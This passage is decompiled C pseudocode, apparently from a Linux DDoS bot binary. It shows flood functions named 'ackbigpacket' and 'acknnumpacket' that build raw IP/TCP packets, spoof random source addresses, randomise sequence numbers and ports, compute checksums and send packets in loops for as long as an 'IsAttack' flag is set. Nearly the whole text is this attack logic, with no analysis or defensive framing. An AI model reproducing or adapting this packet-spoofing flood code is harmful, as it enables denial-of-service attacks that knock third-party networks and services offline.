  5858.                             L0806F9E0(_t1365, __esi,  &((char*)( &_v644)[6]), _v48, 20);
  5859.                             L0806F9E0(_t1365, __esi,  &((char*)( &_v644)[0x10]), _v44, 8);
  5860.                             _t879 = csum( &_v644, _v56 + 12);
  5861.                              *(_v48 + 16) = _t879;
  5862.                             __esi =  &_v660;
  5863.                             L0805EBE0();
  5864.                             _v2112 = 16;
  5865.                             _v2116 = __esi;
  5866.                             _v2120 = 0;
  5867.                             _v2124 = ((_v52[2]) & 65535 & 65535) + ((_v52[2]) & 65535) % _v68;
  5868.                             _t800 = L08052C20(__esi, _v76,  &_v516);
  5869.                             _v32 = _v32 + 1;
  5870.                             continue;
  5871.                         }
  5872.                         goto L65;
  5873.                     }
  5874.                 }
  5875.             }
  5876.         }
  5877.     }
  5878. L65:
  5879.     L08052A50(_v76);
  5880.     _t727 = L08051050();
  5881.     L08051000(_t727);
  5882.      *__esp = 0;
  5883.     L08050FE0();
  5884.     goto L66;
  5885. L66:
  5886.     _push(_t1374);
  5887.     __esp = __esp - 16;
  5888.     _v2148 = _v2124;
  5889.     _v2144 = _v2128;
  5890.     _v2140 = 0;
  5891.     _v2150 = 0;
  5892.     while(_v28 > 1) {
  5893.         _v20 = _v20 + ( *_v24 & 65535 & 65535);
  5894.         _v24 = _v24 + 2;
  5895.         _v28 = _v28 - 2;
  5896.     }
  5897. }
  5898.  
  5899. int ackbigpacket(_Unknown_base* ThreadData)
  5900. {// addr = 0x0804B4FE
  5901.     SYNPACKET SynObj;
  5902.     short int tcp_flags;
  5903.     char[19] szNewIP;
  5904.     char[255] szPackData;
  5905.     char[127] pheader;
  5906.     struct sockaddr_in servaddr;
  5907.     int hSockft;
  5908.     struct hostent* szhost;
  5909.     int nTime;
  5910.     int tcphdr_size;
  5911.     struct ip* iph;
  5912.     struct tcphdr* tcph;
  5913.     struct tcp_options* tcpopt;
  5914.     int one;
  5915.     const int* val;
  5916.     int looptime;
  5917.     int aa;
  5918.     int ShamBase;
  5919.     int dwNewIP;
  5920.     intOrPtr _v16;
  5921.     signed int _v20;
  5922.     signed int _v24;
  5923.     _unknown_ _v26;
  5924.     signed int _v28;
  5925.     signed int _v32;
  5926.     char* _v36;
  5927.     intOrPtr _v40;
  5928.     signed int _v44;
  5929.     signed char* _v48;
  5930.     unsigned int _v52;
  5931.     unsigned int _v56;
  5932.     intOrPtr _v60;
  5933.     signed int _v64;
  5934.     signed int _v66;
  5935.     intOrPtr _v68;
  5936.     signed int _v72;
  5937.     signed short _v74;
  5938.     intOrPtr _v76;
  5939.     signed int _v80;
  5940.     intOrPtr _v84;
  5941.     signed int _v88;
  5942.     unsigned int _v212;
  5943.     unsigned int _v220;
  5944.     char _v224;
  5945.     char _v236;
  5946.     char _v244;
  5947.     char _v256;
  5948.     char _v500;
  5949.     char _v512;
  5950.     unsigned int _v617;
  5951.     unsigned short _v618;
  5952.     signed int _v619;
  5953.     signed int _v620;
  5954.     short unsigned int _v628;
  5955.     unsigned int _v629;
  5956.     unsigned short _v630;
  5957.     signed int _v631;
  5958.     signed int _v632;
  5959.     short unsigned int _v640;
  5960.     char _v644;
  5961.     char _v648;
  5962.     short unsigned int _v652;
  5963.     char _v656;
  5964.     char _v660;
  5965.     signed short _v664;
  5966.     signed short _v668;
  5967.     signed int _v672;
  5968.     signed short _v676;
  5969.     signed short _v680;
  5970.     signed int _v684;
  5971.     signed int _v696;
  5972.     signed int _v700;
  5973.     signed int _v704;
  5974.     signed char _v708;
  5975.     signed int _v712;
  5976.     intOrPtr _v780;
  5977.     signed int _v784;
  5978.     signed int _v786;
  5979.     intOrPtr _v936;
  5980.     char _v948;
  5981.     short _v1368;
  5982.     signed int _v1412;
  5983.     signed int _v1416;
  5984.     signed int _v1420;
  5985.     signed char _v1424;
  5986.     signed int _v1428;
  5987.     signed int _v1440;
  5988.     signed int _v1444;
  5989.     signed char _v1448;
  5990.     signed int _v1450;
  5991.     _unknown_ r6;
  5992.     _unknown_ _t483;
  5993.     signed int _t484;
  5994.     intOrPtr _t486;
  5995.     _unknown_ _t488;
  5996.     _unknown_ _t489;
  5997.     _unknown_ _t490;
  5998.     _unknown_ _t491;
  5999.     _unknown_ _t495;
  6000.     signed int _t496;
  6001.     intOrPtr _t501;
  6002.     _unknown_ _t503;
  6003.     _unknown_ _t504;
  6004.     _unknown_ _t505;
  6005.     _unknown_ _t506;
  6006.     _unknown_ _t527;
  6007.     signed char _t546;
  6008.     short _t555;
  6009.     intOrPtr _t557;
  6010.     intOrPtr _t559;
  6011.     short _t568;
  6012.     signed int _t576;
  6013.     signed int _t577;
  6014.     _unknown_ _t579;
  6015.     intOrPtr _t587;
  6016.     signed int _t588;
  6017.     _unknown_ _t590;
  6018.     short _t599;
  6019.     signed int _t600;
  6020.     _unknown_ _t602;
  6021.     signed int _t611;
  6022.     _unknown_ _t613;
  6023.     _unknown_ _t618;
  6024.     signed char _t628;
  6025.     _unknown_ _t631;
  6026.     _unknown_ _t635;
  6027.     _unknown_ _t640;
  6028.     _unknown_ _t649;
  6029.     _unknown_ _t653;
  6030.     short unsigned int _t656;
  6031.     _unknown_ _t661;
  6032.     _unknown_ _t676;
  6033.     signed char _t695;
  6034.     short _t704;
  6035.     intOrPtr _t706;
  6036.     intOrPtr _t708;
  6037.     short _t717;
  6038.     signed int _t725;
  6039.     signed int _t726;
  6040.     _unknown_ _t728;
  6041.     intOrPtr _t736;
  6042.     signed int _t737;
  6043.     _unknown_ _t739;
  6044.     short _t748;
  6045.     signed int _t749;
  6046.     _unknown_ _t751;
  6047.     signed int _t760;
  6048.     _unknown_ _t762;
  6049.     _unknown_ _t767;
  6050.     signed char _t777;
  6051.     _unknown_ _t780;
  6052.     _unknown_ _t784;
  6053.     _unknown_ _t789;
  6054.     _unknown_ _t798;
  6055.     _unknown_ _t802;
  6056.     short unsigned int _t805;
  6057.     signed int _t808;
  6058.     _unknown_ _t810;
  6059.     signed int _t813;
  6060.     signed int _t827;
  6061.     signed int _t842;
  6062.     signed int _t843;
  6063.     signed int _t844;
  6064.     signed int _t850;
  6065.     signed int _t851;
  6066.     signed int _t852;
  6067.     signed int _t856;
  6068.     signed int _t886;
  6069.     _unknown_ _t894;
  6070.     _unknown_ _t902;
  6071.     _unknown_ _t930;
  6072.     signed int _t937;
  6073.     _unknown_ _t950;
  6074.     signed int* _t951;
  6075.     _unknown_ _t952;
  6076.  
  6077.     _push(_t943);
  6078.     _push(__esi);
  6079.     _push(_t827);
  6080.     __esp = __esp - 700;
  6081.     L0806F910( &_v224, 156);
  6082.     L0806F9E0(_t943, __esi,  &_v224, ThreadData, 156);
  6083.     _v66 = 16;
  6084.     _v712 = 16;
  6085.     _t484 =  &_v644;
  6086.      *__esp = _t484;
  6087.     L0806F910();
  6088.     _v708 = 6;
  6089.     L08073680(_t827, __esp, 2, 3);
  6090.     _v64 = _t484;
  6091.     _v644 = 2;
  6092.     _t486 =  &_v224 + 16;
  6093.     L08075250(_t486);
  6094.     _v60 = _t486;
  6095.     if(_v60 != 0) {
  6096.         _t676 = L0806E4D0( &_v224 + 16, "0.0.0.0");
  6097.         if(_t676 == 0) {
  6098.         } else {
  6099.             _v56 = 0;
  6100.             _v56 = _v212;
  6101.             if(_v56 <= 0 || _v56 > 86400) {
  6102.                 _v56 = 20;
  6103.             }
  6104.             _v640 =  *( *( *(_v60 + 16)));
  6105.             _v52 = 20;
  6106.             _v48 =  &_v500;
  6107.             _v44 =  &_v500 + 20;
  6108.             _v40 =  &_v500 + 40;
  6109.              *_v48 =  *_v48 & 255 & 240 | 5;
  6110.              *_v48 =  *_v48 & 255 & 15 | 64;
  6111.             (_v48[1]) = 0;
  6112.             (_v48[2]) = 60;
  6113.              *__esp = 31337;
  6114.             _t695 = L08075240(__esp);
  6115.             (_v48[4]) = _t695;
  6116.             (_v48[6]) = 0;
  6117.             (_v48[8]) = 250;
  6118.             (_v48[9]) = 6;
  6119.             (_v48[0xa]) = 0;
  6120.             (_v48[0x10]) = _v640;
  6121.              *__esp = _v80 & 65535;
  6122.             _t704 = L08075240(__esp);
  6123.              *((short*)(_v44 + 2)) = _t704;
  6124.              *__esp = 31337;
  6125.             _t706 = L08075230(__esp);
  6126.              *((intOrPtr*)(_v44 + 4)) = _t706;
  6127.              *__esp = 0;
  6128.             _t708 = L08075230(__esp);
  6129.              *((intOrPtr*)(_v44 + 8)) = _t708;
  6130.              *(_v44 + 12) =  *(_v44 + 12) & 255 & 240;
  6131.              *(_v44 + 12) =  *(_v44 + 12) & 255 & 15 | 160;
  6132.              *(_v44 + 13) = _v66 & 65535;
  6133.              *__esp = 57344;
  6134.             _t717 = L08075240(__esp);
  6135.              *((short*)(_v44 + 14)) = _t717;
  6136.              *((short*)(_v44 + 16)) = 0;
  6137.              *(_v44 + 18) = 0;
  6138.             if((_v52 & 3) != 0) {
  6139.                 _v52 = (_v52 + (_v52 >> 31 >> 30) & 3) - (_v52 >> 31 >> 30) + 1 << 2;
  6140.             }
  6141.             _v52 = 40;
  6142.             _v648 = 1;
  6143.             _v36 =  &_v648;
  6144.             _v700 = 4;
  6145.             _v704 = _v36;
  6146.             _v708 = 3;
  6147.             _v712 = 0;
  6148.             _t725 = _v64;
  6149.              *__esp = _t725;
  6150.             L08073640(_t827, __esp);
  6151.             if(_t725 >= 0) {
  6152.             } else {
  6153.                 _v32 = 0;
  6154.                 while(1) {
  6155.                     _t726 = IsAttack;
  6156.                     if(_t726 == 0) {
  6157.                         break;
  6158.                     }
  6159.                     _v28 = 0;
  6160.                     while(_v28 <= 999) {
  6161.                         L0805EBE0();
  6162.                         _t850 = _t726;
  6163.                         _v680 = -2147450879;
  6164.                         _v672 = ((_v680 * _t850 >> 32) + _t850 >> 15) - (_t850 >> 31);
  6165.                         _v672 = _t850 - (_v672 << 16) - _v672;
  6166.                          *__esp = _v672;
  6167.                         _t736 = L08075230(__esp);
  6168.                         _t737 = _v44;
  6169.                          *((intOrPtr*)(_t737 + 4)) = _t736;
  6170.                         L0805EBE0();
  6171.                         _t851 = _t737;
  6172.                         _v680 = -2147450879;
  6173.                         _v668 = ((_v680 * _t851 >> 32) + _t851 >> 15) - (_t851 >> 31);
  6174.                         _v668 = _t851 - (_v668 << 16) - _v668;
  6175.                          *__esp = _v668 & 65535 & 65535;
  6176.                         _t748 = L08075240(__esp);
  6177.                         _t749 = _v44;
  6178.                          *((short*)(_t749 + 14)) = _t748;
  6179.                         L0805EBE0();
  6180.                         _t852 = _t749;
  6181.                         _v680 = -2147450879;
  6182.                         _t827 = ((_v680 * _t852 >> 32) + _t852 >> 15) - (_t852 >> 31);
  6183.                         _v664 = _t827;
  6184.                         _t943 = _t852 - (_v664 << 16) - _v664;
  6185.                         _v664 = _t852 - (_v664 << 16) - _v664;
  6186.                          *_v44 = _v664 & 65535;
  6187.                         _t760 = _v72 - _v76;
  6188.                         _v24 = _t760;
  6189.                         if(_v24 <= 0) {
  6190.                             goto L20;
  6191.                         } else {
  6192.                             L0805EBE0();
  6193.                             _v20 = _t760 % _v24 + _v76;
  6194.                             L0806F850(_t827, _t943, __esi,  &_v244, 0, 20);
  6195.                             _v696 = _v20 & 255;
  6196.                             _v700 = _v20 >> 8 & 255;
  6197.                             _v704 = _v20 >> 16 & 255;
  6198.                             L0805FF50( &_v244, "%d.%d.%d.%d", _v20 >> 24);
  6199.                             _t777 = L08073B40( &_v244);
  6200.                             (_v48[0xc]) = _t777;
  6201.                             L0806F850(_v20 >> 16 & 255, _t943, __esi,  &_v628, 0, 128);
  6202.                             L0806F9E0(_t943, __esi,  &_v628,  &(_v48[0xc]), 4);
  6203.                             L0806F9E0(_t943, __esi,  &((char*)( &_v628)[2]),  &(_v48[0x10]), 4);
  6204.                             _v620 = 0;
  6205.                             _v619 = (_v48[9]) & 255;
  6206.                             _v618 = _v52 >> 8;
  6207.                             _v617 = _v52;
  6208.                             L0806F9E0(_t943, __esi,  &((char*)( &_v628)[6]), _v44, 20);
  6209.                             L0806F9E0(_t943, __esi,  &((char*)( &_v628)[0x10]), _v40, 8);
  6210.                             _t805 = csum( &_v628, _v52 + 12);
  6211.                              *((short*)(_v44 + 16)) = _t805;
  6212.                             _t827 =  &_v644;
  6213.                             _t808 = (_v48[2]) & 65535;
  6214.                             __esi = _t808 & 65535;
  6215.                             L0805EBE0();
  6216.                             _t856 = _t808;
  6217.                             _v680 = -1600085855;
  6218.                             _t937 = _v680 * _t856 >> 32;
  6219.                             _t813 = _t856 >> 31;
  6220.                             _t943 = (_t937 + _t856 >> 7) - _t813;
  6221.                             _v660 = (_t937 + _t856 >> 7) - _t813;
  6222.                             _v660 = _t856 - _t813 * _v660;
  6223.                             _v696 = 16;
  6224.                             _v700 = _t827;
  6225.                             _v704 = 0;
  6226.                             _v708 = __esi + _v660 + 800;
  6227.                             _t726 = L08052C20(__esi, _v64,  &_v500);
  6228.                             _v28 = _v28 + 1;
  6229.                             continue;
  6230.                         }
  6231.                         goto L20;
  6232.                     }
  6233.                 }
  6234.             }
  6235.         }
  6236.     }
  6237. L20:
  6238.     L08052A50(_v64);
  6239.     _t489 = L08051050();
  6240.     L08051000(_t489);
  6241.      *__esp = 0;
  6242.     L08050FE0();
  6243.     goto L21;
  6244. L21:
  6245.     _push(_t950);
  6246.     _t951 = __esp;
  6247.     _push(__esi);
  6248.     _push(_t827);
  6249.     __esp = __esp - 704;
  6250.     L0806F910( &_v948, 160);
  6251.     L0806F9E0(_t943, __esi,  &_v948, _v712, 160);
  6252.     _v786 = 16;
  6253.     _v1428 = 16;
  6254.     _t496 =  &_v1368;
  6255.      *__esp = _t496;
  6256.     L0806F910();
  6257.     _v1424 = 6;
  6258.     L08073680(_t827, __esp, 2, 3);
  6259.     _v784 = _t496;
  6260.     _v1368 = 2;
  6261.     _v780 = _v936;
  6262.     if(_v780 <= 60 || _v68 > 800) {
  6263.         _v68 = 61;
  6264.     }
  6265.     _v64 = _v68 - 60;
  6266.     _t501 =  &_v236 + 20;
  6267.     L08075250(_t501);
  6268.     _v60 = _t501;
  6269.     if(_v60 != 0) {
  6270.         _t527 = L0806E4D0( &_v236 + 20, "0.0.0.0");
  6271.         if(_t527 == 0) {
  6272.         } else {
  6273.             _v56 = 0;
  6274.             _v56 = _v220;
  6275.             if(_v56 <= 0 || _v56 > 86400) {
  6276.                 _v56 = 20;
  6277.             }
  6278.             _v652 =  *( *( *(_v60 + 16)));
  6279.             _v52 = 20;
  6280.             _v48 =  &_v512;
  6281.             _v44 =  &_v512 + 20;
  6282.             _v40 =  &_v512 + 40;
  6283.              *_v48 =  *_v48 & 255 & 240 | 5;
  6284.              *_v48 =  *_v48 & 255 & 15 | 64;
  6285.             (_v48[1]) = 0;
  6286.             (_v48[2]) = 60;
  6287.              *__esp = 31337;
  6288.             _t546 = L08075240(__esp);
  6289.             (_v48[4]) = _t546;
  6290.             (_v48[6]) = 0;
  6291.             (_v48[8]) = 250;
  6292.             (_v48[9]) = 6;
  6293.             (_v48[0xa]) = 0;
  6294.             (_v48[0x10]) = _v652;
  6295.              *__esp = _v88 & 65535;
  6296.             _t555 = L08075240(__esp);
  6297.              *((short*)(_v44 + 2)) = _t555;
  6298.              *__esp = 31337;
  6299.             _t557 = L08075230(__esp);
  6300.              *((intOrPtr*)(_v44 + 4)) = _t557;
  6301.              *__esp = 0;
  6302.             _t559 = L08075230(__esp);
  6303.              *((intOrPtr*)(_v44 + 8)) = _t559;
  6304.              *(_v44 + 12) =  *(_v44 + 12) & 255 & 240;
  6305.              *(_v44 + 12) =  *(_v44 + 12) & 255 & 15 | 160;
  6306.              *(_v44 + 13) = _v74 & 65535;
  6307.              *__esp = 57344;
  6308.             _t568 = L08075240(__esp);
  6309.              *((short*)(_v44 + 14)) = _t568;
  6310.              *((short*)(_v44 + 16)) = 0;
  6311.              *(_v44 + 18) = 0;
  6312.             if((_v52 & 3) != 0) {
  6313.                 _v52 = (_v52 + (_v52 >> 31 >> 30) & 3) - (_v52 >> 31 >> 30) + 1 << 2;
  6314.             }
  6315.             _v52 = 40;
  6316.             _v660 = 1;
  6317.             _v36 =  &_v660;
  6318.             _v1416 = 4;
  6319.             _v1420 = _v36;
  6320.             _v1424 = 3;
  6321.             _v1428 = 0;
  6322.             _t576 = _v72;
  6323.              *__esp = _t576;
  6324.             L08073640(_t827, __esp);
  6325.             if(_t576 >= 0) {
  6326.             } else {
  6327.                 _v32 = 0;
  6328.                 while(1) {
  6329.                     _t577 = IsAttack;
  6330.                     if(_t577 == 0) {
  6331.                         break;
  6332.                     }
  6333.                     _v28 = 0;
  6334.                     while(_v28 <= 999) {
  6335.                         L0805EBE0();
  6336.                         _t842 = _t577;
  6337.                         _v696 = -2147450879;
  6338.                         _v684 = ((_v696 * _t842 >> 32) + _t842 >> 15) - (_t842 >> 31);
  6339.                         _v684 = _t842 - (_v684 << 16) - _v684;
  6340.                          *__esp = _v684;
  6341.                         _t587 = L08075230(__esp);
  6342.                         _t588 = _v44;
  6343.                          *((intOrPtr*)(_t588 + 4)) = _t587;
  6344.                         L0805EBE0();
  6345.                         _t843 = _t588;
  6346.                         _v696 = -2147450879;
  6347.                         _v680 = ((_v696 * _t843 >> 32) + _t843 >> 15) - (_t843 >> 31);
  6348.                         _v680 = _t843 - (_v680 << 16) - _v680;
  6349.                          *__esp = _v680 & 65535 & 65535;
  6350.                         _t599 = L08075240(__esp);
  6351.                         _t600 = _v44;
  6352.                          *((short*)(_t600 + 14)) = _t599;
  6353.                         L0805EBE0();
  6354.                         _t844 = _t600;
  6355.                         _v696 = -2147450879;
  6356.                         _t886 = _v696 * _t844 >> 32;
  6357.                         _t833 = (_t886 + _t844 >> 15) - (_t844 >> 31);
  6358.                         _v676 = (_t886 + _t844 >> 15) - (_t844 >> 31);
  6359.                         _v676 = _t844 - (_v676 << 16) - _v676;
  6360.                          *_v44 = _v676 & 65535;
  6361.                         _t611 = _v80 - _v84;
  6362.                         _v24 = _t611;
  6363.                         if(_v24 <= 0) {
  6364.                             goto L44;
  6365.                         } else {
  6366.                             L0805EBE0();
  6367.                             _v20 = _t611 % _v24 + _v84;
  6368.                             L0806F850(_t833, _t943, __esi,  &_v256, 0, 20);
  6369.                             _v1412 = _v20 & 255;
  6370.                             _v1416 = _v20 >> 8 & 255;
  6371.                             _v1420 = _v20 >> 16 & 255;
  6372.                             L0805FF50( &_v256, "%d.%d.%d.%d", _v20 >> 24);
  6373.                             _t628 = L08073B40( &_v256);
  6374.                             (_v48[0xc]) = _t628;
  6375.                             L0806F850(_v20 >> 16 & 255, _t943, __esi,  &_v640, 0, 128);
  6376.                             L0806F9E0(_t943, __esi,  &_v640,  &(_v48[0xc]), 4);
  6377.                             L0806F9E0(_t943, __esi,  &((char*)( &_v640)[2]),  &(_v48[0x10]), 4);
  6378.                             _v632 = 0;
  6379.                             _v631 = (_v48[9]) & 255;
  6380.                             _v630 = _v52 >> 8;
  6381.                             _v629 = _v52;
  6382.                             L0806F9E0(_t943, __esi,  &((char*)( &_v640)[6]), _v44, 20);
  6383.                             L0806F9E0(_t943, __esi,  &((char*)( &_v640)[0x10]), _v40, 8);
  6384.                             _t656 = csum( &_v640, _v52 + 12);
  6385.                              *(_v44 + 16) = _t656;
  6386.                             __esi =  &_v656;
  6387.                             L0805EBE0();
  6388.                             _v1412 = 16;
  6389.                             _v1416 = __esi;
  6390.                             _v1420 = 0;
  6391.                             _v1424 = ((_v48[2]) & 65535 & 65535) + ((_v48[2]) & 65535) % _v64;
  6392.                             _t577 = L08052C20(__esi, _v72,  &_v512);
  6393.                             _v28 = _v28 + 1;
  6394.                             continue;
  6395.                         }
  6396.                         goto L44;
  6397.                     }
  6398.                 }
  6399.             }
  6400.         }
  6401.     }
  6402. L44:
  6403.     L08052A50(_v72);
  6404.     _t504 = L08051050();
  6405.     L08051000(_t504);
  6406.      *__esp = 0;
  6407.     L08050FE0();
  6408.     goto L45;
  6409. L45:
  6410.     _push(_t951);
  6411.     __esp = __esp - 16;
  6412.     _v1448 = _v1424;
  6413.     _v1444 = _v1428;
  6414.     _v1440 = 0;
  6415.     _v1450 = 0;
  6416.     while(_v24 > 1) {
  6417.         _v16 = _v16 + ( *_v20 & 65535 & 65535);
  6418.         _v20 = _v20 + 2;
  6419.         _v24 = _v24 - 2;
  6420.     }
  6421. }
  6422.  
  6423. int acknnumpacket(_Unknown_base* ThreadData)
  6424. {// addr = 0x0804BB4A
  6425.     SYNPACKET_NUM SynObj;
  6426.     short int tcp_flags;
  6427.     char[19] szNewIP;
  6428.     char[255] szPackData;
  6429.     char[127] pheader;
  6430.     struct sockaddr_in servaddr;
  6431.     int hSockft;
  6432.     int topNum;
  6433.     int randNum;
  6434.     struct hostent* szhost;
  6435.     int nTime;
  6436.     int tcphdr_size;
  6437.     struct ip* iph;
  6438.     struct tcphdr* tcph;
  6439.     struct tcp_options* tcpopt;
  6440.     int one;
  6441.     const int* val;
  6442.     int looptime;
  6443.     int aa;
  6444.     int ShamBase;
  6445.     int dwNewIP;
  6446.     intOrPtr _v12;
  6447.     signed int _v16;
  6448.     signed int _v20;
  6449.     _unknown_ _v22;
  6450.     signed int _v24;
  6451.     signed int _v28;
  6452.     signed int _v32;
  6453.     intOrPtr _v36;
  6454.     signed int _v40;
  6455.     signed char* _v44;
  6456.     unsigned int _v48;
  6457.     unsigned int _v52;
  6458.     intOrPtr _v56;
  6459.     signed int _v60;
  6460.     intOrPtr _v64;
  6461.     signed int _v68;
  6462.     signed int _v70;
  6463.     intOrPtr _v76;
  6464.     intOrPtr _v80;
  6465.     signed int _v84;
  6466.     unsigned int _v216;
  6467.     intOrPtr _v220;
  6468.     char _v232;
  6469.     char _v252;
  6470.     char _v508;
  6471.     unsigned int _v625;
  6472.     unsigned short _v626;
  6473.     signed int _v627;
  6474.     signed int _v628;
  6475.     short unsigned int _v636;
  6476.     signed char _v648;
  6477.     char _v652;
  6478.     char _v656;
  6479.     signed short _v672;
  6480.     signed short _v676;
  6481.     signed int _v680;
  6482.     signed int _v692;
  6483.     signed int _v696;
  6484.     signed int _v700;
  6485.     signed int _v704;
  6486.     signed char _v708;
  6487.     signed int _v712;
  6488.     signed int _v724;
  6489.     signed int _v728;
  6490.     signed char _v732;
  6491.     signed int _v734;
  6492.     _unknown_ r6;
  6493.     _unknown_ _t260;
  6494.     signed int _t261;
  6495.     intOrPtr _t266;
  6496.     _unknown_ _t268;
  6497.     _unknown_ _t269;
  6498.     _unknown_ _t270;
  6499.     _unknown_ _t271;
  6500.     _unknown_ _t292;
  6501.     signed char _t311;
  6502.     short _t320;
  6503.     intOrPtr _t322;
  6504.     intOrPtr _t324;
  6505.     short _t333;
  6506.     signed int _t341;
  6507.     signed int _t342;
  6508.     _unknown_ _t344;
  6509.     intOrPtr _t352;
  6510.     signed int _t353;
  6511.     _unknown_ _t355;
  6512.     short _t364;
  6513.     signed int _t365;
  6514.     _unknown_ _t367;
  6515.     signed int _t376;
  6516.     _unknown_ _t378;
  6517.     _unknown_ _t383;
  6518.     signed char _t393;
  6519.     _unknown_ _t396;
  6520.     _unknown_ _t400;
  6521.     _unknown_ _t405;
  6522.     _unknown_ _t414;
  6523.     _unknown_ _t418;
  6524.     short unsigned int _t421;
  6525.     _unknown_ _t426;
  6526.     _unknown_ _t439;
  6527.     signed int _t448;
  6528.     signed int _t449;
  6529.     signed int _t450;
  6530.     signed int _t482;
  6531.     _unknown_ _t490;
  6532.     _unknown_ _t498;
  6533.     _unknown_ _t501;
  6534.     _unknown_ _t502;
  6535.  
  6536.     _push(__esi);
  6537.     _push(_t439);
  6538.     __esp = __esp - 704;
  6539.     L0806F910( &_v232, 160);
  6540.     L0806F9E0(__edi, __esi,  &_v232, ThreadData, 160);
  6541.     _v70 = 16;
  6542.     _v712 = 16;
  6543.     _t261 =  &_v652;
  6544.      *__esp = _t261;
  6545.     L0806F910();
  6546.     _v708 = 6;
  6547.     L08073680(_t439, __esp, 2, 3);
  6548.     _v68 = _t261;
  6549.     _v652 = 2;
  6550.     _v64 = _v220;
  6551.     if(_v64 <= 60 || _v64 > 800) {
  6552.         _v64 = 61;
  6553.     }
  6554.     _v60 = _v64 - 60;
  6555.     _t266 =  &_v232 + 20;
  6556.     L08075250(_t266);
  6557.     _v56 = _t266;
  6558.     if(_v56 != 0) {
  6559.         _t292 = L0806E4D0( &_v232 + 20, "0.0.0.0");
  6560.         if(_t292 == 0) {
  6561.         } else {
  6562.             _v52 = 0;
  6563.             _v52 = _v216;
  6564.             if(_v52 <= 0 || _v52 > 86400) {
  6565.                 _v52 = 20;
  6566.             }
  6567.             _v648 =  *( *( *(_v56 + 16)));
  6568.             _v48 = 20;
  6569.             _v44 =  &_v508;
  6570.             _v40 =  &_v508 + 20;
  6571.             _v36 =  &_v508 + 40;
  6572.              *_v44 =  *_v44 & 255 & 240 | 5;
  6573.              *_v44 =  *_v44 & 255 & 15 | 64;
  6574.             (_v44[1]) = 0;
  6575.             (_v44[2]) = 60;
  6576.              *__esp = 31337;
  6577.             _t311 = L08075240(__esp);
  6578.             (_v44[4]) = _t311;
  6579.             (_v44[6]) = 0;
  6580.             (_v44[8]) = 250;
  6581.             (_v44[9]) = 6;
  6582.             (_v44[0xa]) = 0;
  6583.             (_v44[0x10]) = _v648;
  6584.              *__esp = _v84 & 65535;
  6585.             _t320 = L08075240(__esp);
  6586.              *((short*)(_v40 + 2)) = _t320;
  6587.              *__esp = 31337;
  6588.             _t322 = L08075230(__esp);
  6589.              *((intOrPtr*)(_v40 + 4)) = _t322;
  6590.              *__esp = 0;
  6591.             _t324 = L08075230(__esp);
  6592.              *((intOrPtr*)(_v40 + 8)) = _t324;
  6593.              *(_v40 + 12) =  *(_v40 + 12) & 255 & 240;
  6594.              *(_v40 + 12) =  *(_v40 + 12) & 255 & 15 | 160;
  6595.              *(_v40 + 13) = _v70 & 65535;
  6596.              *__esp = 57344;
  6597.             _t333 = L08075240(__esp);
  6598.              *((short*)(_v40 + 14)) = _t333;
  6599.              *((short*)(_v40 + 16)) = 0;
  6600.              *(_v40 + 18) = 0;
  6601.             if((_v48 & 3) != 0) {
  6602.                 _v48 = (_v48 + (_v48 >> 31 >> 30) & 3) - (_v48 >> 31 >> 30) + 1 << 2;
  6603.             }
  6604.             _v48 = 40;
  6605.             _v656 = 1;
  6606.             _v32 =  &_v656;
  6607.             _v700 = 4;
  6608.             _v704 = _v32;
  6609.             _v708 = 3;
  6610.             _v712 = 0;
  6611.             _t341 = _v68;
  6612.              *__esp = _t341;
  6613.             L08073640(_t439, __esp);
  6614.             if(_t341 >= 0) {
  6615.             } else {
  6616.                 _v28 = 0;
  6617.                 while(1) {
  6618.                     _t342 = IsAttack;
  6619.                     if(_t342 == 0) {
  6620.                         break;
  6621.                     }
  6622.                     _v24 = 0;
  6623.                     while(_v24 <= 999) {
  6624.                         L0805EBE0();
  6625.                         _t448 = _t342;
  6626.                         _v692 = -2147450879;
  6627.                         _v680 = ((_v692 * _t448 >> 32) + _t448 >> 15) - (_t448 >> 31);
  6628.                         _v680 = _t448 - (_v680 << 16) - _v680;
  6629.                          *__esp = _v680;
  6630.                         _t352 = L08075230(__esp);
  6631.                         _t353 = _v40;
  6632.                          *((intOrPtr*)(_t353 + 4)) = _t352;
  6633.                         L0805EBE0();
  6634.                         _t449 = _t353;
  6635.                         _v692 = -2147450879;
  6636.                         _v676 = ((_v692 * _t449 >> 32) + _t449 >> 15) - (_t449 >> 31);
  6637.                         _v676 = _t449 - (_v676 << 16) - _v676;
  6638.                          *__esp = _v676 & 65535 & 65535;
  6639.                         _t364 = L08075240(__esp);
  6640.                         _t365 = _v40;
  6641.                          *((short*)(_t365 + 14)) = _t364;
  6642.                         L0805EBE0();
  6643.                         _t450 = _t365;
  6644.                         _v692 = -2147450879;
  6645.                         _t482 = _v692 * _t450 >> 32;
  6646.                         _t445 = (_t482 + _t450 >> 15) - (_t450 >> 31);
  6647.                         _v672 = (_t482 + _t450 >> 15) - (_t450 >> 31);
  6648.                         _v672 = _t450 - (_v672 << 16) - _v672;
  6649.                          *_v40 = _v672 & 65535;
  6650.                         _t376 = _v76 - _v80;
  6651.                         _v20 = _t376;
  6652.                         if(_v20 <= 0) {
  6653.                             goto L23;
  6654.                         } else {
  6655.                             L0805EBE0();
  6656.                             _v16 = _t376 % _v20 + _v80;
  6657.                             L0806F850(_t445, __edi, __esi,  &_v252, 0, 20);
  6658.                             _v696 = _v16 & 255;
  6659.                             _v700 = _v16 >> 8 & 255;
  6660.                             _v704 = _v16 >> 16 & 255;
  6661.                             L0805FF50( &_v252, "%d.%d.%d.%d", _v16 >> 24);
  6662.                             _t393 = L08073B40( &_v252);
  6663.                             (_v44[0xc]) = _t393;
  6664.                             L0806F850(_v16 >> 16 & 255, __edi, __esi,  &_v636, 0, 128);
  6665.                             L0806F9E0(__edi, __esi,  &_v636,  &(_v44[0xc]), 4);
  6666.                             L0806F9E0(__edi, __esi,  &((char*)( &_v636)[2]),  &(_v44[0x10]), 4);
  6667.                             _v628 = 0;
  6668.                             _v627 = (_v44[9]) & 255;
  6669.                             _v626 = _v48 >> 8;
  6670.                             _v625 = _v48;
  6671.                             L0806F9E0(__edi, __esi,  &((char*)( &_v636)[6]), _v40, 20);
  6672.                             L0806F9E0(__edi, __esi,  &((char*)( &_v636)[0x10]), _v36, 8);
  6673.                             _t421 = csum( &_v636, _v48 + 12);
  6674.                              *(_v40 + 16) = _t421;
  6675.                             __esi =  &_v652;
  6676.                             L0805EBE0();
  6677.                             _v696 = 16;
  6678.                             _v700 = __esi;
  6679.                             _v704 = 0;
  6680.                             _v708 = ((_v44[2]) & 65535 & 65535) + ((_v44[2]) & 65535) % _v60;
  6681.                             _t342 = L08052C20(__esi, _v68,  &_v508);
